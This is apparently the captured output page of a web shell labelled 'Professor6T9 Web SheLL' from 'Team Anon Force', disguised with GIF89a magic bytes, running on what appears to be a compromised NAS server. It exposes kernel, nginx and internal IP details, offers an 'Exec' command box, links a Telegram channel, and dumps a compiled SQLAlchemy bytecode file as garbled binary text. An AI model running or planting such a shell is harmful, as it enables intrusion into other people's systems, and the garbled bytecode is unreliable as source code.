GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
orm
/
__pycache__
[ HOME ]
Exec
Submit
relationships.cpython-38.pyc
U �}�h� � @ s� d Z ddlmZ ddlZddlZddlmZ ddlmZ ddlmZ ddl mZ dd lm Z dd lmZ ddlmZ ddlmZ dd lmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddl m!Z! ddl m"Z" ddl m#Z# ddl m$Z$ ddl m%Z% dd l m&Z& dd!l m'Z' d"d#� Z(d$d%� Z)ej*ej+j,d&d'd(�G d)d*� d*e���Z-d+d,� Z.G d-d.� d.e/�Z0G d/d0� d0e/�Z1dS )1a Heuristics related to join conditions as used in :func:`_orm.relationship`. Provides the :class:`.JoinCondition` object, which encapsulates SQL annotation and aliasing behavior focused on the `primaryjoin` and `secondaryjoin` aspects of :func:`_orm.relationship`. � )�absolute_importN� )� attributes)� dependency)�mapper)� state_str)� MANYTOMANY)� MANYTOONE)� ONETOMANY)�PropComparator)�StrategizedProperty)� _orm_annotate)�_orm_deannotate)�CascadeOptions� )�exc)�log)�schema)�sql)�util)�inspect)� expression)� operators)�visitors)�_deep_deannotate)�_shallow_annotate)�adapt_criterion_to_null)� ClauseAdapter)�join_condition)�selectables_overlap��visit_binary_productc C s t t�| �ddi�S )a Annotate a portion of a primaryjoin expression with a 'remote' annotation. See the section :ref:`relationship_custom_foreign` for a description of use. .. seealso:: :ref:`relationship_custom_foreign` :func:`.foreign` �remoteT��_annotate_columnsr Z_clause_element_as_expr��expr� r'